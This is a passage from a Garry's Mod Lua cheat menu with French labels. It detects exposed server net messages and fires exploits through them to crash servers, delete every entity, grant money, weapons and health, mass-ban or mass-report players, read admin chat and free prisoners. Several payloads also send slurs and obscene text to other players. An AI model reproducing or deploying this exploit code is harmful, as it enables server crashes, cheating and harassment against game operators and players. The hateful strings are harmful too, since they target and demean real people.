10731if( it > #player.GetAll() ) then
10732it = 1;
10733else
10734it = it + 1;
10735end
10736net.Start("rpi_trade_end")
10737net.WriteUInt( it, 16 )
10738net.SendToServer()
10739end )
10740end )
10741end
10742
10743status = ValidNetString("ClickerForceSave")
10744if (status) then
10745CHATPRINT("Exploit Trouvé : Crash Avec Un Melon [ClickerForceSave]")
10746addExploit( "157","Crash Avec Un Melon", "", function()
10747surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10748 --("Démarré")
10749hook.Add("Think","ps_spam",function()
10750for k, v in pairs (player.GetAll()) do
10751net.Start("ClickerForceSave")
10752net.WriteEntity(ply)
10753net.WriteInt(1, 1)
10754net.SendToServer()
10755end
10756end )
10757end )
10758end
10759
10760status = ValidNetString("SRequest")
10761if (status) then
10762CHATPRINT("Exploit Trouvé : Prendre Un Deagle [SRequest]")
10763addExploit( "158","Prendre Un Deagle", "", function()
10764surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10765 --("Démarré")
10766for k, v in pairs (player.GetAll()) do
10767net.Start("SRequest")
10768net.WriteEntity(v)
10769net.SendToServer()
10770end
10771end )
10772end
10773
10774status = ValidNetString("HealButton")
10775if (status) then
10776CHATPRINT("Exploit Trouvé : PV Gratuit [HealButton]")
10777addExploit( "159","PV Gratuit", "PV Gratuit", function()
10778surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10779 --("Démarré")
10780net.Start("HealButton")
10781net.WriteEntity(LocalPlayer())
10782net.WriteFloat(999999)
10783net.SendToServer()
10784end )
10785end
10786
10787status = ValidNetString("ArmorButton")
10788if (status) then
10789CHATPRINT("Exploit Trouvé : Armure Gratuite [ArmorButton]")
10790addExploit( "160","Armure Gratuite", "Armure Gratuite", function()
10791surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10792 --("Démarré")
10793net.Start("ArmorButton")
10794net.WriteEntity(LocalPlayer())
10795net.WriteFloat(999999)
10796net.SendToServer()
10797end )
10798end
10799
10800status = ValidNetString("SprintSpeedset")
10801if (status) then
10802CHATPRINT("Exploit Trouvé : TTT SpeedHack [SprintSpeedset]")
10803addExploit( "161","TTT SpeedHack", "changes your speed", function()
10804surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10805 --("Démarré")
10806net.Start("SprintSpeedset")
10807net.WriteFloat(math.min(math.max(2, 0.1),2 ))
10808net.SendToServer()
10809end )
10810end
10811
10812status = ValidNetString("GiveArmor100")
10813if (status) then
10814CHATPRINT("Exploit Trouvé : Exploit D'Armure [GiveArmor100]")
10815addExploit( "162","Exploit D'Armure ", "", function()
10816surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10817 --("Démarré")
10818net.Start("GiveArmor100")
10819net.SendToServer()
10820end )
10821end
10822
10823status = ValidNetString("Client_To_Server_OpenEditor")
10824if (status) then
10825CHATPRINT("Exploit Trouvé : SCP 249 Hack Menu De Boisson
10826[Client_To_Server_OpenEditor]")
10827addExploit( "164","SCP 249 Drink Menu Hack", "", function()
10828surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10829 --("Démarré")
10830net.Start("Client_To_Server_OpenEditor")
10831net.SendToServer()
10832end )
10833end
10834
10835status = ValidNetString("DuelMessageReturn")
10836if (status) then
10837CHATPRINT("Exploit Trouvé : Combat Fou [DuelMessageReturn]")
10838addExploit( "165","Combat Fou", "forces all players to fight with all
10839players, ", function()
10840surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10841 --("Démarré")
10842timer.Create("crazyduel", 0.1, 0, function()
10843s.duel[1] = table.Random( player.GetAll() )
10844s.duel[2] = table.Random( player.GetAll() )
10845net.Start("DuelMessageReturn")
10846net.WriteFloat(1)
10847net.WriteTable(s.duel)
10848net.SendToServer()
10849end )
10850end )
10851end
10852
10853status = ValidNetString("userAcceptPrestige")
10854if (status) then
10855CHATPRINT("Exploit Trouvé : Prestige Gratuit [userAcceptPrestige]")
10856addExploit( "166","Prestige Gratuit", "exploit for Prestige Gratuit",
10857function()
10858surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10859 --("Démarré")
10860net.Start("userAcceptPrestige")
10861net.SendToServer()
10862end )
10863end
10864
10865status = ValidNetString("wordenns")
10866if (status) then
10867CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #11 [wordenns]")
10868addExploit( "167","Voler L'argents De Tous #11", "withdraw money from
10869all printers", function()
10870surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10871 --("Démarré")
10872CHATPRINT("printers:".. tostring(#ents.FindByClass("derma_printer")))
10873for k,v in pairs(ents.FindByClass("derma_printer")) do
10874net.Start("wordenns")
10875net.WriteEntity(v)
10876net.SendToServer()
10877end
10878end)
10879end
10880
10881status = ValidNetString("guncraft_removeWorkbench")
10882if (status) then
10883CHATPRINT("Exploit Trouvé : Supprimer Toutes Les Entités
10884[guncraft_removeWorkbench]")
10885addExploit( "168","Supprimer Toutes Les Entités", "an exploit in addon
10886'GunCraft'", function()
10887surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10888 --("Démarré")
10889if !timer.Exists( "removentity" ) then
10890timer.Create("removentity", 3, 0, function()
10891for k,v in pairs(ents.GetAll()) do
10892net.Start("guncraft_removeWorkbench")
10893net.WriteEntity(v)
10894net.SendToServer()
10895end
10896end )
10897end
10898end )
10899end
10900
10901status = ValidNetString("BuyKey")
10902if (status) then
10903CHATPRINT("Exploit Trouvé : Blue Unbox Exploit")
10904addExploit( "169","Blue Unbox Exploit", "", function()
10905surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10906 --("Démarré")
10907net.Start("BuyKey")
10908net.SendToServer()
10909net.Start("BuyCrate")
10910net.SendToServer()
10911end )
10912end
10913
10914status = ValidNetString("casinokit_chipexchange")
10915if (status) then
10916CHATPRINT("Exploit Trouvé : Argent Gratuite #23
10917[casinokit_chipexchange]")
10918addExploit( "170","Argent Gratuite #23", "only works if outdated",
10919function()
10920surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10921 --("Démarré")
10922local moneylog = LocalPlayer():getDarkRPVar("money")
10923net.Start("casinokit_chipexchange")
10924net.WriteEntity(self)
10925net.WriteString("darkrp")
10926net.WriteBool(true)
10927net.WriteUInt(LocalPlayer():getDarkRPVar("money"),32)
10928net.SendToServer()
10929timer.Simple(3, function()
10930for i=1, 5000 do
10931net.Start("casinokit_chipexchange")
10932net.WriteEntity(self)
10933net.WriteString("darkrp")
10934net.WriteBool(false)
10935net.WriteUInt(moneylog*0.10,32)
10936net.SendToServer()
10937end
10938end)
10939end )
10940end
10941
10942status = ValidNetString("PurchaseWeed")
10943if (status) then
10944CHATPRINT("Exploit Trouvé : Achetez Drogue [PurchaseWeed]")
10945addExploit( "171","Achetez Drogue", "", function()
10946surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10947 --("Démarré")
10948net.Start("PurchaseWeed")
10949net.WriteInt(tonumber(10000),16)
10950net.WriteInt(tonumber(1),16)
10951net.WriteBool(LocalPlayer().Buying)
10952net.SendToServer()
10953end )
10954end
10955
10956status = ValidNetString("PurchaseWeed")
10957if (status) then
10958CHATPRINT("Exploit Trouvé : Vendre Weed [PurchaseWeed]")
10959addExploit( "172","Vendre Weed", "", function()
10960surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10961 --("Démarré")
10962net.Start("PurchaseWeed")
10963net.WriteInt(tonumber(100),16)
10964net.WriteInt(tonumber(100),16)
10965net.WriteBool(LocalPlayer().Selling)
10966net.SendToServer()
10967end )
10968end
10969
10970status = ValidNetString("DoDealerDeliver")
10971if (status) then
10972CHATPRINT("Exploit Trouvé : Achetez Tablette [DoDealerDeliver]")
10973addExploit( "173","Achetez Tablette", "", function()
10974surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10975 --("Démarré")
10976if(LocalPlayer():getDarkRPVar("money")>=WEED_CONFIG.TabletPrice) then
10977net.Start("DoDealerDeliver")
10978net.WriteBool(false)
10979net.SendToServer()
10980end
10981end )
10982end
10983
10984status = ValidNetString("DoDealerDeliver")
10985if (status) then
10986CHATPRINT("Exploit Trouvé : Achetez Bong [DoDealerDeliver]")
10987addExploit( "174","Achetez Bong", "", function()
10988surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
10989 --("Démarré")
10990if(LocalPlayer():getDarkRPVar("money")>=WEED_ITEMS.Items["Tools"]["bong"].price)
10991 then
10992net.Start("DoDealerDeliver")
10993net.WriteBool(true)
10994net.SendToServer()
10995end
10996end )
10997end
10998
10999status = ValidNetString("sendDuelInfo")
11000if (status) then
11001CHATPRINT("Exploit Trouvé : Exploit Du NPC De Duel [sendDuelInfo]")
11002addExploit( "175","Exploit Du NPC De Duel", "", function()
11003surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11004 --("Démarré")
11005net.Start("sendDuelInfo")
11006net.WriteString(table.Random(player.GetAll()):Nick())
11007net.WriteString("xxdddd")
11008net.WriteString("1e+100")
11009net.WriteEntity(table.random(player.GetAll()):UserID())
11010net.WriteInt(3,3)
11011net.SendToServer()
11012end )
11013end
11014
11015status = ValidNetString("InviteMember")
11016if (status) then
11017CHATPRINT("Exploit Trouvé : Inviter Tout Les Joueurs [InviteMember]")
11018addExploit( "176","Inviter Tout Les Joueurs", "Invite all players to
11019your org", function()
11020surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11021 --("Démarré")
11022for k,v in pairs(player.GetAll()) do
11023net.Start("InviteMember")
11024net.WriteEntity(v)
11025net.WriteEntity(v)
11026net.WriteString("lol what")
11027net.SendToServer()
11028end
11029end )
11030end
11031
11032status = ValidNetString("newTerritory")
11033if (status) then
11034CHATPRINT("Exploit Trouvé : Nouveau Territoire [newTerritory]")
11035addExploit( "177","Nouveau Territoire", "", function()
11036surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11037 --("Démarré")
11038for k,v in pairs(player.GetAll()) do
11039net.Start("newTerritory")
11040net.WriteString("Hackers")
11041net.WriteTable(t)
11042net.SendToServer()
11043end
11044end )
11045end
11046
11047status = ValidNetString("CreateOrganization")
11048if (status) then
11049CHATPRINT("Exploit Trouvé : Exploit De Gang [CreateOrganization]")
11050addExploit( "178","Exploit De Gang", "", function()
11051surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11052 --("Démarré")
11053for k,v in pairs(player.GetAll()) do
11054net.Start("CreateOrganization")
11055net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
11056net.WriteString( "Join my gang or will rekt u" )
11057net.SendToServer()
11058end
11059end )
11060end
11061
11062status = ValidNetString("DisbandOrganization")
11063if (status) then
11064CHATPRINT("Exploit Trouvé : Arreter L'Organisation
11065[DisbandOrganization]")
11066addExploit( "179","Arreter L'Organisation", "", function()
11067surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11068 --("Démarré")
11069net.Start("DisbandOrganization")
11070net.WriteEntity(LocalPlayer())
11071net.SendToServer()
11072end )
11073end
11074
11075status = ValidNetString("ChangeOrgName")
11076if (status) then
11077CHATPRINT("Exploit Trouvé : Changer Le Nom De L'Organisation
11078[ChangeOrgName]")
11079addExploit( "180","Changer Le Nom De L'Organisation", "", function()
11080surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11081 --("Démarré")
11082net.Start("ChangeOrgName")
11083net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES
11084WOOOOOO")
11085net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY
11086COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
11087net.WriteEntity(LocalPlayer())
11088net.SendToServer()
11089end )
11090end
11091
11092status = ValidNetString("IS_SubmitSID_C2S")
11093if (status) then
11094CHATPRINT("Exploit Trouvé : Cadeaux Gratuit [IS_SubmitSID_C2S |
11095IS_GetReward_C2S]")
11096addExploit( "181","Cadeaux Gratuit", "", function()
11097surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11098 --("Démarré")
11099net.Start("IS_SubmitSID_C2S")
11100net.WriteString("Killa")
11101net.SendToServer()
11102net.Start("IS_GetReward_C2S")
11103net.SendToServer()
11104end )
11105end
11106
11107status = ValidNetString("AcceptBailOffer")
11108if (status) then
11109CHATPRINT("Exploit Trouvé : Offrir Des Cautions [AcceptBailOffer]")
11110addExploit( "182","Offrir Des Cautions", "", function()
11111surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11112 --("Démarré")
11113for k,v in pairs(player.GetAll()) do
11114net.Start("AcceptBailOffer")
11115net.WriteEntity(v)
11116net.WriteUInt(-100000000000000000, 16 )
11117net.SendToServer()
11118end
11119end )
11120end
11121
11122status = ValidNetString("CP_Test_Results")
11123if (status) then
11124CHATPRINT("Exploit Trouvé : Devenir Policier [CP_Test_Results]")
11125addExploit( "183","Devenir Policier", "", function()
11126surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11127 --("Démarré")
11128net.Start("CP_Test_Results")
11129net.WriteInt(1 ,8)
11130net.SendToServer()
11131end )
11132end
11133
11134status = ValidNetString("ReSpawn")
11135if (status) then
11136CHATPRINT("Exploit Trouvé : ReSpawn #4 [ReSpawn]")
11137addExploit( "184","ReSpawn #4", "just reSpawn", function()
11138surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11139 --("Démarré")
11140net.Start("ReSpawn")
11141net.SendToServer()
11142end )
11143end
11144
11145status = ValidNetString("FIGHTCLUB_KickPlayer")
11146if (status) then
11147CHATPRINT("Exploit Trouvé : Kick Du Fight Club [FIGHTCLUB_KickPlayer]")
11148addExploit( "185","Kick Du Fight Club", "", function()
11149surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11150 --("Démarré")
11151for k,v in pairs(player.GetAll()) do
11152net.Start("FIGHTCLUB_KickPlayer")
11153net.WriteBit(v)
11154net.WriteEntity(v)
11155net.SendToServer()
11156end
11157end )
11158end
11159
11160status = ValidNetString("FIGHTCLUB_StartFight")
11161if (status) then
11162CHATPRINT("Exploit Trouvé : Fight Club [FIGHTCLUB_StartFight]")
11163addExploit( "186","Fight Club Start Fight", "", function()
11164surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11165 --("Démarré")
11166for k,v in pairs(player.GetAll()) do
11167net.Start("FIGHTCLUB_StartFight")
11168net.WriteEntity(v)
11169net.SendToServer()
11170end
11171end )
11172end
11173
11174status = ValidNetString("IveBeenRDMed")
11175if (status) then
11176CHATPRINT("Exploit Trouvé : Faux RDM [IveBeenRDMed]")
11177addExploit( "187","Faux RDM", "", function()
11178surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11179 --("Démarré")
11180for k,v in pairs(player.GetAll()) do
11181net.Start("IveBeenRDMed")
11182net.WriteEntity(v)
11183net.SendToServer()
11184end
11185end )
11186end
11187
11188status = ValidNetString("nCTieUpStart")
11189if (status) then
11190CHATPRINT("Exploit Trouvé : Exploit Des Combine Control
11191[nCTieUpStart]")
11192addExploit( "188","Exploit Des Combine Control", "", function()
11193surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11194 --("Démarré")
11195for k,v in pairs(ents.GetAll()) do
11196net.Start("nCTieUpStart")
11197net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
11198net.SendToServer()
11199end
11200end )
11201end
11202
11203status = ValidNetString("DestroyTable")
11204if (status) then
11205CHATPRINT("Exploit Trouvé : Tout Détruire [DestroyTable]")
11206addExploit( "189","Tout Détruire", "", function()
11207surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11208 --("Démarré")
11209for k,v in pairs(ents.GetAll()) do
11210net.Start("DestroyTable")
11211net.WriteEntity(v)
11212net.SendToServer()
11213end
11214end )
11215end
11216
11217status = ValidNetString("start_wd_hack")
11218if (status) then
11219CHATPRINT("Exploit Trouvé : Exploit Du Téléphone De H4x0r
11220[start_wd_hack]")
11221addExploit( "190","Exploit Du Téléphone De H4x0r", "", function()
11222surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11223 --("Démarré")
11224net.Start("start_wd_hack")
11225net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
11226net.SendToServer()
11227end )
11228end
11229
11230status = ValidNetString("bringNfreeze")
11231if (status) then
11232CHATPRINT("Exploit Trouvé : Exploit De Bannissement [bringNfreeze]")
11233addExploit( "191","Exploit De Bannissement", "", function()
11234surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11235 --("Démarré")
11236for k,v in pairs(player.GetAll()) do
11237net.Start('bringNfreeze')
11238net.WriteEntity(self)
11239net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
11240net.SendToServer()
11241end
11242end )
11243end
11244
11245status = ValidNetString("JoinFirstSS")
11246if (status) then
11247CHATPRINT("Exploit Trouvé : Rejoindre Les Premiers SS [JoinFirstSS]")
11248addExploit( "192","Rejoindre Les Premiers SS", "", function()
11249surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11250 --("Démarré")
11251net.Start("JoinFirstSS")
11252net.WriteEntity(LocalPlayer())
11253net.SendToServer()
11254end )
11255end
11256
11257status = ValidNetString("unarrestPerson")
11258if (status) then
11259CHATPRINT("Exploit Trouvé : Liberez De Prison [unarrestPerson]")
11260addExploit( "193","Liberez De Prison", "", function()
11261surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11262 --("Démarré")
11263for k,v in pairs(player.GetAll()) do
11264net.Start("unarrestPerson")
11265net.WriteEntity(v)
11266net.SendToServer()
11267end
11268end )
11269end
11270
11271status = ValidNetString("giveArrestReason")
11272if (status) then
11273CHATPRINT("Exploit Trouvé : Donnez Une Raison D'Arrestation
11274[giveArrestReason]")
11275addExploit( "194","Donnez Une Raison D'Arrestation", "", function()
11276surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11277 --("Démarré")
11278for k,v in pairs(player.GetAll()) do
11279net.Start("giveArrestReason")
11280net.WriteEntity(LocalPlayer())
11281net.WriteEntity(v)
11282net.WriteString("Faggot")
11283net.SendToServer()
11284end
11285end )
11286end
11287
11288status = ValidNetString("sellitem")
11289if (status) then
11290CHATPRINT("Exploit Trouvé : Argent Gratuite #24 [sellitem]")
11291addExploit( "195","Argent Gratuite #24", "", function()
11292surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11293 --("Démarré")
11294net.Start("sellitem")
11295net.WriteString(self)
11296net.WriteEntity(LocalPlayer())
11297net.SendToServer()
11298end )
11299end
11300
11301status = ValidNetString("createFaction")
11302if (status) then
11303CHATPRINT("Exploit Trouvé : Crée Un Gang [createFaction]")
11304addExploit( "196","Crée Un Gang", "", function()
11305surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11306 --("Démarré")
11307for k,v in pairs(player.GetAll()) do
11308net.Start("createFaction")
11309net.WriteEntity(v)
11310net.WriteString("I FUCKED SO MANY BABIES TODAY
11311WOOOOOOOOOOOOOOOOOOOOOOOO")
11312net.SendToServer()
11313end
11314end )
11315end
11316
11317status = ValidNetString("inviteToOrganization")
11318if (status) then
11319CHATPRINT("Exploit Trouvé : Inviter Tout Le Monde Dans Son Gang
11320[inviteToOrganization]")
11321addExploit( "197","Inviter Tout Le Monde Dans Son Gang", "", function()
11322surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11323 --("Démarré")
11324for k,v in pairs(player.GetAll()) do
11325net.Start("inviteToOrganization")
11326net.WriteEntity(v)
11327net.WriteEntity(LocalPlayer())
11328net.SendToServer()
11329end
11330end )
11331end
11332
11333status = ValidNetString("GiveWeapon")
11334if (status) then
11335CHATPRINT("Exploit Trouvé : Donnez Des Armes #3 [GiveWeapon]")
11336addExploit( "199","Donnez Des Armes #3", "get weapons", function()
11337surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11338 --("Démarré")
11339net.Start("GiveWeapon")
11340net.WriteEntity(LocalPlayer())
11341net.WriteString("m9k_davy_crockett")
11342net.WriteFloat(0)
11343net.SendToServer()
11344end )
11345end
11346
11347status = ValidNetString("DailyLoginClaim")
11348if (status) then
11349CHATPRINT("Exploit Trouvé : Cadeau De Connexion [DailyLoginClaim]")
11350addExploit( "200","Cadeau De Connexion", "", function()
11351surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11352 --("Démarré")
11353net.Start("DailyLoginClaim")
11354net.SendToServer()
11355end )
11356end
11357
11358status = ValidNetString("DL_AskLogsList")
11359if (status) then
11360CHATPRINT("Exploit Trouvé : Voir La Listes Des Logs [DL_AskLogsList]")
11361addExploit( "201","Voir La Listes Des Logs", "", function()
11362surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11363 --("Démarré")
11364net.Start("DL_AskLogsList")
11365net.SendToServer()
11366end )
11367end
11368
11369status = ValidNetString("DL_StartReport")
11370if (status) then
11371CHATPRINT("Exploit Trouvé : DL Report Tout Le Monde [DL_StartReport |
11372DL_ReportPlayer]")
11373addExploit( "202","DL Report Tout Le Monde", "", function()
11374surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11375 --("Démarré")
11376for k,v in pairs(player.GetAll()) do
11377net.Start("DL_StartReport")
11378net.SendToServer()
11379net.Start("DL_ReportPlayer")
11380net.WriteEntity(v)
11381net.WriteString("Hes being a gay faggot plz ban him")
11382net.SendToServer()
11383end
11384end )
11385end
11386
11387status = ValidNetString("sv_saveweapons")
11388if (status) then
11389CHATPRINT("Exploit Trouvé : Exploit D'Arme TTT [sv_saveweapons]")
11390addExploit( "203","DL Report Tout Le Monde", "", function()
11391surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11392 --("Démarré")
11393net.Start("sv_saveweapons")
11394net.WriteString("weapon_ttt_rpg")
11395net.WriteString("weapon_ttt_rpg")
11396net.WriteString("eg")
11397net.SendToServer()
11398end )
11399end
11400
11401status = ValidNetString("SpecDM_SendLoadout")
11402if (status) then
11403CHATPRINT("Exploit Trouvé : Exploit De SpecDM [SpecDM_SendLoadout]")
11404addExploit( "204","Exploit De SpecDM", "", function()
11405surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11406 --("Démarré")
11407net.Start("SpecDM_SendLoadout")
11408net.WriteString("eg")
11409net.WriteString("weapon_ttt_defib")
11410net.SendToServer()
11411end )
11412end
11413
11414status = ValidNetString("PowerRoundsForcePR")
11415if (status) then
11416CHATPRINT("Exploit Trouvé : Forcer Un Power Round
11417[PowerRoundsForcePR]")
11418addExploit( "205","Forcer Un Power Round", "", function()
11419surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11420 --("Démarré")
11421net.Start("PowerRoundsForcePR")
11422net.SendToServer()
11423end )
11424end
11425
11426status = ValidNetString("wyozimc_playply")
11427if (status) then
11428CHATPRINT("Exploit Trouvé : Exploit De Musique [wyozimc_playply]")
11429addExploit( "206","Exploit De Musique", "", function()
11430surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11431 --("Démarré")
11432for k,v in pairs(player.GetAll()) do
11433net.Start("wyozimc_playply")
11434net.WriteEntity(v)
11435net.WriteString("https://www.youtube.com/watch?v=_mJOU5fwV1Q")
11436net.SendToServer()
11437end
11438end )
11439end
11440
11441status = ValidNetString("SendSteamID")
11442if (status) then
11443CHATPRINT("Exploit Trouvé : Envoyez Mail's [SendSteamID]")
11444addExploit( "207","Envoyez Mail's", "", function()
11445surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11446 --("Démarré")
11447for k,v in pairs(player.GetAll()) do
11448net.Start("SendSteamID")
11449net.WriteEntity(v)
11450net.WriteString("Faggot")
11451net.WriteString("Faggot")
11452net.SendToServer()
11453end
11454end )
11455end
11456
11457status = ValidNetString("JB_GiveCubics")
11458if (status) then
11459CHATPRINT("Exploit Trouvé : Donnez Des Cubes A Tout Le Monde
11460[JB_GiveCubics]")
11461addExploit( "208","Donnez Des Cubes A Tout Le Monde", "", function()
11462surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11463 --("Démarré")
11464for k,v in pairs(player.GetAll()) do
11465net.Start("JB_GiveCubics")
11466net.WriteEntity(v)
11467net.WriteInt(math.floor(dwang:GetValue()), 255)
11468net.SendToServer()
11469end
11470end )
11471end
11472
11473status = ValidNetString("JB_SelectWarden")
11474if (status) then
11475CHATPRINT("Exploit Trouvé : Warn Tout Le Monde [JB_SelectWarden]")
11476addExploit( "209","Warn Tout Le Monde", "", function()
11477surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11478 --("Démarré")
11479for k,v in pairs(player.GetAll()) do
11480net.Start("JB_SelectWarden")
11481net.WriteEntity(v)
11482net.SendToServer()
11483end
11484end )
11485end
11486
11487status = ValidNetString("RDMReason_Explain")
11488if (status) then
11489CHATPRINT("Exploit Trouvé : Exploit RDM [RDMReason_Explain]")
11490addExploit( "210","Exploit RDM", "", function()
11491surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11492 --("Démarré")
11493for k,v in pairs(player.GetAll()) do
11494net.Start("RDMReason_Explain")
11495net.WriteTable({id=v, reason=fgt})
11496net.SendToServer()
11497end
11498end )
11499end
11500
11501status = ValidNetString("redirectMsg")
11502if (status) then
11503CHATPRINT("Exploit Trouvé : Message De Redirection [redirectMsg]")
11504addExploit( "211","Message De Redirection", "", function()
11505surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11506 --("Démarré")
11507net.Start("redirectMsg")
11508net.WriteString("Seized By Pity :c !")
11509net.SendToServer()
11510end )
11511end
11512
11513status = ValidNetString("LB_AddBan")
11514if (status) then
11515CHATPRINT("Exploit Trouvé : Exploit LB Ban [LB_AddBan]")
11516addExploit( "212","Exploit LB Ban", "", function()
11517surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11518 --("Démarré")
11519for k,v in pairs(player.GetAll()) do
11520if v != LocalPlayer() then
11521net.Start("LB_AddBan")
11522net.WriteString("STEAM_0:0:71238382")
11523net.WriteString("fgt")
11524net.SendToServer()
11525end
11526end
11527end )
11528end
11529
11530status = ValidNetString("GET_Admin_MSGS")
11531if (status) then
11532CHATPRINT("Exploit Trouvé : Défoncer Le Chat Admin [GET_Admin_MSGS |
11533OPEN_ADMIN_CHAT]")
11534addExploit( "213","Défoncer Le Chat Admin", "", function()
11535surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11536 --("Démarré")
11537net.Start("GET_Admin_MSGS")
11538net.SendToServer()
11539net.Start("OPEN_ADMIN_CHAT")
11540net.SendToServer()
11541end )
11542end
11543
11544status = ValidNetString("br_send_pm")
11545if (status) then
11546CHATPRINT("Exploit Trouvé : Défoncer Les Email Envoyé A Tous
11547[br_send_pm]")
11548addExploit( "214","Défoncer Les Email Envoyé A Tous", "", function()
11549surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11550 --("Démarré")
11551for k,v in pairs(player.GetAll()) do
11552if v != LocalPlayer() then
11553net.Start("br_send_pm")
11554net.WriteString(v)
11555net.WriteString("FGT")
11556net.WriteEntity(v)
11557net.SendToServer()
11558end
11559end
11560end )
11561end
11562
11563status = ValidNetString("LAWYER.BailFelonOut")
11564if (status) then
11565CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.BailFelonOut]")
11566addExploit( "215","Libérer Prison", "", function()
11567surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11568 --("Démarré")
11569net.Start("LAWYER.BailFelonOut")
11570net.WriteString("1")
11571net.WriteString("fgt")
11572net.SendToServer()
11573end )
11574end
11575
11576status = ValidNetString("LAWYER.GetBailOut")
11577if (status) then
11578CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.GetBailOut]")
11579addExploit( "216","Libérer Prison", "", function()
11580surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11581 --("Démarré")
11582net.Start("LAWYER.GetBailOut")
11583net.WriteString("Mick")
11584net.WriteString("Mick")
11585net.WriteString("1000000")
11586net.SendToServer()
11587end )
11588end
11589
11590status = ValidNetString("GrabMoney")
11591if (status) then
11592CHATPRINT("Exploit Trouvé : Libérer Prison [GrabMoney]")
11593addExploit( "217","Libérer Prison", "", function()
11594surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11595 --("Démarré")
11596for k,v in pairs(ents.GetAll()) do
11597if v:GetClass() == "gold" then
11598if v:GetClass() == "silver" then
11599if v:GetClass() == "vip" then
11600if v:GetClass() == "vipgold" then
11601net.Start("GrabMoney")
11602net.WriteEntity(LocalPlayer())
11603net.SendToServer()
11604end
11605end
11606end
11607end
11608end
11609end )
11610end
11611
11612status = ValidNetString("nox_addpremadepunishment")
11613if (status) then
11614CHATPRINT("Exploit Trouvé : Exploit De Ban Nox
11615[nox_addpremadepunishment]")
11616addExploit( "218","Exploit De Ban Nox ", "", function()
